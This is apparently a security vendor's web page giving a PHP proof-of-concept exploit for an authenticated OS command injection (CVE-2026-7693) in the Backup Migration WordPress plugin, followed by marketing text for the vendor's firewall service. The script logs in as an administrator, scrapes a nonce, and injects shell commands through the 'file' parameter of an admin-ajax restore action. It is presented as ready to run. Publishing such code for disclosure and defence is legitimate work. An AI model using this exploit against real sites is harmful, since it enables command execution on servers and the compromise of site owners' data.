// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7693 - Backup Migration <= 2.1.5.1 - Authenticated (Administrator+) OS Command Injection via 'file' Parameter

// --- Configuration ---
$target_url = 'http://your-wordpress-site.com'; // Target WordPress site URL
$admin_username = 'admin'; // Administrator username
$admin_password = 'password'; // Administrator password
$command_to_execute = 'id; whoami; pwd'; // Command to execute on the server

// --- No modifications below this line are required ---

$ch = curl_init();
$csrf_token = '';
$cookie_file = tempnam(sys_get_temp_dir(), 'cookies');

// Step 1: Login to WordPress admin
$login_url = $target_url . '/wp-login.php';
$login_data = 'log=' . urlencode($admin_username) . '&pwd=' . urlencode($admin_password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1';
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => $login_data,
    CURLOPT_COOKIEJAR => $cookie_file,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_COOKIESESSION => true,
    CURLOPT_HEADER => true
]);
$response = curl_exec($ch);
if (curl_errno($ch)) {
    die('Login request failed: ' . curl_error($ch) . "n");
}

// Step 2: Get the backup nonce from the plugin's admin page
$plugin_page_url = $target_url . '/wp-admin/admin.php?page=backup-backup';
curl_setopt_array($ch, [
    CURLOPT_URL => $plugin_page_url,
    CURLOPT_HTTPGET => true,
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => false,
    CURLOPT_HEADER => false
]);
$page_content = curl_exec($ch);
if (curl_errno($ch)) {
    die('Failed to fetch plugin page: ' . curl_error($ch) . "n");
}

// Extract the nonce (you may need to adjust the pattern based on the response)
preg_match('/name="_wpnonce" value="([^"]+)"/', $page_content, $matches);
if (!isset($matches[1])) {
    die('Could not find the backup nonce in the page. Ensure you have access to the plugin page.n');
}
$backup_nonce = $matches[1];

// Step 3: Craft and send the exploit request via admin-ajax.php
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Payload: The injected command is appended to the 'file' parameter
$injected_file = 'legitimate_backup.zip;' . $command_to_execute . ';';

$payload = [
    'action' => 'backup-migration-restore', // AJAX action, adjust if different (check for the exact hook)
    'file' => $injected_file,
    'remote' => 'false',
    '_wpnonce' => $backup_nonce
];

curl_setopt_array($ch, [
    CURLOPT_URL => $ajax_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($payload),
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => false,
    CURLOPT_HEADER => false
]);
$result = curl_exec($ch);
if (curl_errno($ch)) {
    die('Exploit request failed: ' . curl_error($ch) . "n");
}

// Step 4: Check the response. The output of the command may appear in the response or be sent to a log file.
$response_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "HTTP Status Code: " . $response_code . "n";
echo "Response Body:n" . $result . "n";

if (strpos($result, 'success') !== false) {
    echo "Exploit may have been successful. Check the server for command output.n";
} else {
    echo "Exploit may have failed. Check the response for errors.n";
}

curl_close($ch);
unlink($cookie_file);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.